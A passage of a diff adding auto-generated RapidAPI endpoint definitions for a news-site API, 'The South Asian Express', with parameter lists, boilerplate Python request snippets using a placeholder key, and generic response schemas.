+ ],
157
+ "optional_parameters": [
158
+ {
159
+ "name": "context",
160
+ "type": "STRING",
161
+ "description": "Scope under which the request is made; determines fields present in response.",
162
+ "default": "string"
163
+ }
164
+ ],
165
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/posts/string/revisions\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
166
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/posts/{id}/revisions\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
167
+ "test_endpoint": "",
168
+ "statuscode": 200,
169
+ "schema": {
170
+ "type": "object",
171
+ "properties": {
172
+ "get": {
173
+ "type": "string"
174
+ },
175
+ "parameters": {
176
+ "type": "array"
177
+ },
178
+ "errors": {
179
+ "type": "array"
180
+ },
181
+ "results": {
182
+ "type": "integer"
183
+ },
184
+ "response": {
185
+ "type": "array",
186
+ "items": {
187
+ "type": "object"
188
+ }
189
+ }
190
+ }
191
+ }
192
+ },
193
+ {
194
+ "name": "get-/media/{id}-adb0e84c-5f56-4e25-8aba-9042e0c3f90f",
195
+ "url": "https://the-south-asian-express.p.rapidapi.com/media/string",
196
+ "description": "Get Single Media",
197
+ "method": "GET",
198
+ "required_parameters": [
199
+ {
200
+ "name": "id",
201
+ "type": "STRING",
202
+ "description": "Id of object",
203
+ "default": "string"
204
+ }
205
+ ],
206
+ "optional_parameters": [
207
+ {
208
+ "name": "context",
209
+ "type": "STRING",
210
+ "description": "Scope under which the request is made; determines fields present in response.",
211
+ "default": "string"
212
+ }
213
+ ],
214
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/media/string\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
215
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/media/{id}\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
216
+ "test_endpoint": ""
217
+ },
218
+ {
219
+ "name": "get-/media-8125bc02-6037-4c8c-8102-2297920726f0",
220
+ "url": "https://the-south-asian-express.p.rapidapi.com/media",
221
+ "description": "Scope under which the request is made; determines fields present in response.",
222
+ "method": "GET",
223
+ "required_parameters": [],
224
+ "optional_parameters": [
225
+ {
226
+ "name": "context",
227
+ "type": "STRING",
228
+ "description": "Scope under which the request is made; determines fields present in response.",
229
+ "default": "string"
230
+ }
231
+ ],
232
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/media\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
233
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/media\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
234
+ "test_endpoint": "",
235
+ "statuscode": 200,
236
+ "schema": {
237
+ "type": "object",
238
+ "properties": {
239
+ "get": {
240
+ "type": "string"
241
+ },
242
+ "parameters": {
243
+ "type": "array"
244
+ },
245
+ "errors": {
246
+ "type": "array"
247
+ },
248
+ "results": {
249
+ "type": "integer"
250
+ },
251
+ "response": {
252
+ "type": "array",
253
+ "items": {
254
+ "type": "object"
255
+ }
256
+ }
257
+ }
258
+ }
259
+ },
260
+ {
261
+ "name": "get-/statuses/{id}-1853ae07-ba42-43d0-8a00-00f562d98e48",
262
+ "url": "https://the-south-asian-express.p.rapidapi.com/statuses/string",
263
+ "description": "Get Single Status",
264
+ "method": "GET",
265
+ "required_parameters": [
266
+ {
267
+ "name": "id",
268
+ "type": "STRING",
269
+ "description": "Id of object",
270
+ "default": "string"
271
+ }
272
+ ],
273
+ "optional_parameters": [
274
+ {
275
+ "name": "context",
276
+ "type": "STRING",
277
+ "description": "Scope under which the request is made; determines fields present in response.",
278
+ "default": "string"
279
+ }
280
+ ],
281
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/statuses/string\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
282
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/statuses/{id}\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
283
+ "test_endpoint": ""
284
+ },
285
+ {
286
+ "name": "get-/posts/{id}-9d548709-72a0-48c0-a0fa-57c41026a2ef",
287
+ "url": "https://the-south-asian-express.p.rapidapi.com/posts/string",
288
+ "description": "Get Single Post",
289
+ "method": "GET",
290
+ "required_parameters": [
291
+ {
292
+ "name": "id",
293
+ "type": "STRING",
294
+ "description": "Id of object",
295
+ "default": "string"
296
+ }
297
+ ],
298
+ "optional_parameters": [
299
+ {
300
+ "name": "context",
301
+ "type": "STRING",
302
+ "description": "Scope under which the request is made; determines fields present in response.",
303
+ "default": "string"
304
+ }
305
+ ],
306
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/posts/string\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
307
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/posts/{id}\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
308
+ "test_endpoint": ""
309
+ },
310
+ {
311
+ "name": "get-/pages/{id}-04cce496-738c-44ef-9faf-4d42e99c642b",
312
+ "url": "https://the-south-asian-express.p.rapidapi.com/pages/string",
313
+ "description": "Get Single Page",
314
+ "method": "GET",
315
+ "required_parameters": [
316
+ {
317
+ "name": "id",
318
+ "type": "STRING",
319
+ "description": "Id of object",
320
+ "default": "string"
321
+ }
322
+ ],
323
+ "optional_parameters": [
324
+ {
325
+ "name": "context",
326
+ "type": "STRING",
327
+ "description": "Scope under which the request is made; determines fields present in response.",
328
+ "default": "string"
329
+ }
330
+ ],
331
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/pages/string\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
332
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/pages/{id}\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
333
+ "test_endpoint": ""
334
+ },
335
+ {
336
+ "name": "get-/categories-36a9b66a-641f-4969-a849-36119ad674a3",
337
+ "url": "https://the-south-asian-express.p.rapidapi.com/categories",
338
+ "description": "List categories",
339
+ "method": "GET",
340
+ "required_parameters": [],
341
+ "optional_parameters": [
342
+ {
343
+ "name": "context",
344
+ "type": "STRING",
345
+ "description": "Scope under which the request is made; determines fields present in response.",
346
+ "default": "string"
347
+ }
348
+ ],
349
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/categories\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
350
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/categories\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
351
+ "test_endpoint": "",
352
+ "statuscode": 200,
353
+ "schema": {
354
+ "type": "object",
355
+ "properties": {
356
+ "get": {
357
+ "type": "string"
358
+ },
359
+ "parameters": {
360
+ "type": "array"
361
+ },
362
+ "errors": {
363
+ "type": "array"
364
+ },
365
+ "results": {
366
+ "type": "integer"
367
+ },
368
+ "response": {
369
+ "type": "array",
370
+ "items": {
371
+ "type": "object"
372
+ }
373
+ }
374
+ }
375
+ }
376
+ },
377
+ {
378
+ "name": "get-/types-852347ee-35c5-44fb-8548-1bee078d2350",
379
+ "url": "https://the-south-asian-express.p.rapidapi.com/types",
380
+ "description": "Scope under which the request is made; determines fields present in response.",
381
+ "method": "GET",
382
+ "required_parameters": [],
383
+ "optional_parameters": [
384
+ {
385
+ "name": "context",
386
+ "type": "STRING",
387
+ "description": "Scope under which the request is made; determines fields present in response.",
388
+ "default": "string"
389
+ }
390
+ ],
391
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/types\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
392
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/types\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
393
+ "test_endpoint": "",
394
+ "statuscode": 200,
395
+ "schema": {
396
+ "type": "object",
397
+ "properties": {
398
+ "get": {
399
+ "type": "string"
400
+ },
401
+ "parameters": {
402
+ "type": "array"
403
+ },
404
+ "errors": {
405
+ "type": "array"
406
+ },
407
+ "results": {
408
+ "type": "integer"
409
+ },
410
+ "response": {
411
+ "type": "array",
412
+ "items": {
413
+ "type": "object"
414
+ }
415
+ }
416
+ }
417
+ }
418
+ },
419
+ {
420
+ "name": "get-/categories/{id}-411760b4-8ab7-4a73-a04a-6e0cb2e2c00c",
421
+ "url": "https://the-south-asian-express.p.rapidapi.com/categories/string",
422
+ "description": "Get Single Category",
423
+ "method": "GET",
424
+ "required_parameters": [
425
+ {
426
+ "name": "id",
427
+ "type": "STRING",
428
+ "description": "Id of object",
429
+ "default": "string"
430
+ }
431
+ ],
432
+ "optional_parameters": [
433
+ {
434
+ "name": "context",
435
+ "type": "STRING",
436
+ "description": "Scope under which the request is made; determines fields present in response.",
437
+ "default": "string"
438
+ }
439
+ ],
440
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/categories/string\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
441
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/categories/{id}\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
442
+ "test_endpoint": ""
443
+ },
444
+ {
445
+ "name": "get-/types/{id}-523e7700-867d-45a5-8362-f7d4818f6bc9",
446
+ "url": "https://the-south-asian-express.p.rapidapi.com/types/string",
447
+ "description": "Get Single Type",
448
+ "method": "GET",
449
+ "required_parameters": [
450
+ {
451
+ "name": "id",
452
+ "type": "STRING",
453
+ "description": "Id of object",
454
+ "default": "string"
455
+ }
456
+ ],
457
+ "optional_parameters": [
458
+ {
459
+ "name": "context",
460
+ "type": "STRING",
461
+ "description": "Scope under which the request is made; determines fields present in response.",
462
+ "default": "string"
463
+ }
464
+ ],
465
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/types/string\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
466
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/types/{id}\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
467
+ "test_endpoint": ""
468
+ },
469
+ {
470
+ "name": "get-/comments/{id}-68712d36-48f7-4050-9c6a-a1e8491a8477",
471
+ "url": "https://the-south-asian-express.p.rapidapi.com/comments/string",
472
+ "description": "Get Single Comment",
473
+ "method": "GET",
474
+ "required_parameters": [
475
+ {
476
+ "name": "id",
477
+ "type": "STRING",
478
+ "description": "Id of object",
479
+ "default": "string"
480
+ }
481
+ ],
482
+ "optional_parameters": [
483
+ {
484
+ "name": "context",
485
+ "type": "STRING",
486
+ "description": "Scope under which the request is made; determines fields present in response.",
487
+ "default": "string"
488
+ }
489
+ ],
490
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/comments/string\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
491
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/comments/{id}\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
492
+ "test_endpoint": ""
493
+ },
494
+ {
495
+ "name": "get-/taxonomies-6b249ef7-e2c2-4378-b40a-42146d250423",
496
+ "url": "https://the-south-asian-express.p.rapidapi.com/taxonomies",
497
+ "description": "List Taxonomy",
498
+ "method": "GET",
499
+ "required_parameters": [],
500
+ "optional_parameters": [
501
+ {
502
+ "name": "context",
503
+ "type": "STRING",
504
+ "description": "Scope under which the request is made; determines fields present in response.",
505
+ "default": "string"
506
+ }
507
+ ],
508
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/taxonomies\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
509
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/taxonomies\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
510
+ "test_endpoint": "",
511
+ "statuscode": 200,
512
+ "schema": {
513
+ "type": "object",
514
+ "properties": {
515
+ "get": {
516
+ "type": "string"
517
+ },
518
+ "parameters": {
519
+ "type": "array"
520
+ },
521
+ "errors": {
522
+ "type": "array"
523
+ },
524
+ "results": {
525
+ "type": "integer"
526
+ },
527
+ "response": {
528
+ "type": "array",
529
+ "items": {
530
+ "type": "object"
531
+ }
532
+ }
533
+ }
534
+ }
535
+ },
536
+ {
537
+ "name": "get-/users-68a613f6-d503-4942-9c11-e04e59427ec1",
538
+ "url": "https://the-south-asian-express.p.rapidapi.com/users",
539
+ "description": "List Tags",
540
+ "method": "GET",
541
+ "required_parameters": [],
542
+ "optional_parameters": [
543
+ {
544
+ "name": "context",
545
+ "type": "STRING",
546
+ "description": "Scope under which the request is made; determines fields present in response.",
547
+ "default": "string"
548
+ }
549
+ ],
550
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/users\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
551
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/users\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
552
+ "test_endpoint": "",
553
+ "statuscode": 200,
554
+ "schema": {
555
+ "type": "object",
556
+ "properties": {
557
+ "get": {
558
+ "type": "string"
559
+ },
560
+ "parameters": {
561
+ "type": "array"
562
+ },
563
+ "errors": {
564
+ "type": "array"
565
+ },
566
+ "results": {
567
+ "type": "integer"
568
+ },
569
+ "response": {
570
+ "type": "array",
571
+ "items": {
572
+ "type": "object"
573
+ }
574
+ }
575
+ }
576
+ }
577
+ },
578
+ {
579
+ "name": "get-/users/{id}-3449a5e3-22f0-4216-bb83-c737b2cef1b0",
580
+ "url": "https://the-south-asian-express.p.rapidapi.com/users/string",
581
+ "description": "Get Single User",
582
+ "method": "GET",
583
+ "required_parameters": [
584
+ {
585
+ "name": "id",
586
+ "type": "STRING",
587
+ "description": "Id of object",
588
+ "default": "string"
589
+ }
590
+ ],
591
+ "optional_parameters": [
592
+ {
593
+ "name": "context",
594
+ "type": "STRING",
595
+ "description": "Scope under which the request is made; determines fields present in response.",
596
+ "default": "string"
597
+ }
598
+ ],
599
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/users/string\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
600
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/users/{id}\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
601
+ "test_endpoint": ""
602
+ },
603
+ {
604
+ "name": "get-/taxonomies/{id}-b2a5d5a0-3692-43aa-ae85-624855b4cde8",
605
+ "url": "https://the-south-asian-express.p.rapidapi.com/taxonomies/string",
606
+ "description": "Get Single Taxonomy",
607
+ "method": "GET",
608
+ "required_parameters": [
609
+ {
610
+ "name": "id",
611
+ "type": "STRING",
612
+ "description": "Id of object",
613
+ "default": "string"
614
+ }
615
+ ],
616
+ "optional_parameters": [
617
+ {
618
+ "name": "context",
619
+ "type": "STRING",
620
+ "description": "Scope under which the request is made; determines fields present in response.",
621
+ "default": "string"
622
+ }
623
+ ],
624
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/taxonomies/string\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
625
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/taxonomies/{id}\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
626
+ "test_endpoint": ""
627
+ },
628
+ {
629
+ "name": "get-/posts-2504660f-8ad6-4815-86e0-312cc593fe26",
630
+ "url": "https://the-south-asian-express.p.rapidapi.com/posts",
631
+ "description": "Scope under which the request is made; determines fields present in response.",
632
+ "method": "GET",
633
+ "required_parameters": [],
634
+ "optional_parameters": [
635
+ {
636
+ "name": "context",
637
+ "type": "STRING",
638
+ "description": "Scope under which the request is made; determines fields present in response.",
639
+ "default": "string"
640
+ }
641
+ ],
642
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/posts\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
643
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/posts\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
644
+ "test_endpoint": "",
645
+ "statuscode": 200,
646
+ "schema": {
647
+ "type": "object",
648
+ "properties": {
649
+ "get": {
650
+ "type": "string"
651
+ },
652
+ "parameters": {
653
+ "type": "array"
654
+ },
655
+ "errors": {
656
+ "type": "array"
657
+ },
658
+ "results": {
659
+ "type": "integer"
660
+ },
661
+ "response": {
662
+ "type": "array",
663
+ "items": {
664
+ "type": "object"
665
+ }
666
+ }
667
+ }
668
+ }
669
+ },
670
+ {
671
+ "name": "get-/posts/{id}/revisions/{revisionid}-2156a9ee-f3cf-44f0-be60-37fbeb2d9b95",
672
+ "url": "https://the-south-asian-express.p.rapidapi.com/posts/string/revisions/string",
673
+ "description": "Get single post revisions",
674
+ "method": "GET",
675
+ "required_parameters": [
676
+ {
677
+ "name": "revisionid",
678
+ "type": "STRING",
679
+ "description": "Id of revision",
680
+ "default": "string"
681
+ },
682
+ {
683
+ "name": "id",
684
+ "type": "STRING",
685
+ "description": "Id of object",
686
+ "default": "string"
687
+ }
688
+ ],
689
+ "optional_parameters": [
690
+ {
691
+ "name": "context",
692
+ "type": "STRING",
693
+ "description": "Scope under which the request is made; determines fields present in response.",
694
+ "default": "string"
695
+ }
696
+ ],
697
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/posts/string/revisions/string\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
698
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/posts/{id}/revisions/{revisionid}\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
699
+ "test_endpoint": {
700
+ "message": "Endpoint '/posts/string/revisions/string' does not exist"
701
+ }
702
+ },
703
+ {
704
+ "name": "get-/tags/{id}-b45ea222-6d54-4156-b9e6-5630c4edffe7",
705
+ "url": "https://the-south-asian-express.p.rapidapi.com/tags/string",
706
+ "description": "Get Single Tag",
707
+ "method": "GET",
708
+ "required_parameters": [
709
+ {
710
+ "name": "id",
711
+ "type": "STRING",
712
+ "description": "Id of object",
713
+ "default": "string"
714
+ }
715
+ ],
716
+ "optional_parameters": [
717
+ {
718
+ "name": "context",
719
+ "type": "STRING",
720
+ "description": "Scope under which the request is made; determines fields present in response.",
721
+ "default": "string"
722
+ }
723
+ ],
724
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/tags/string\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
725
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/tags/{id}\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
726
+ "test_endpoint": ""
727
+ },
728
+ {
729
+ "name": "get-/pages-fb3c1d3c-13c4-4cb5-9a4d-5dbc5e195d42",
730
+ "url": "https://the-south-asian-express.p.rapidapi.com/pages",
731
+ "description": "Scope under which the request is made; determines fields present in response.",
732
+ "method": "GET",
733
+ "required_parameters": [],
734
+ "optional_parameters": [
735
+ {
736
+ "name": "context",
737
+ "type": "STRING",
738
+ "description": "Scope under which the request is made; determines fields present in response.",
739
+ "default": "string"
740
+ }
741
+ ],
742
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/pages\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
743
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/pages\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.get(url, headers=headers, params=querystring)\nprint(response.json())\n",
744
+ "test_endpoint": "",
745
+ "statuscode": 200,
746
+ "schema": {
747
+ "type": "object",
748
+ "properties": {
749
+ "get": {
750
+ "type": "string"
751
+ },
752
+ "parameters": {
753
+ "type": "array"
754
+ },
755
+ "errors": {
756
+ "type": "array"
757
+ },
758
+ "results": {
759
+ "type": "integer"
760
+ },
761
+ "response": {
762
+ "type": "array",
763
+ "items": {
764
+ "type": "object"
765
+ }
766
+ }
767
+ }
768
+ }
769
+ },
770
+ {
771
+ "name": "post-/posts-82748bff-025a-4f99-b5bd-fa543a3e5282",
772
+ "url": "https://the-south-asian-express.p.rapidapi.com/posts",
773
+ "description": "Create Post",
774
+ "method": "POST",
775
+ "required_parameters": [],
776
+ "optional_parameters": [],
777
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/posts\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
778
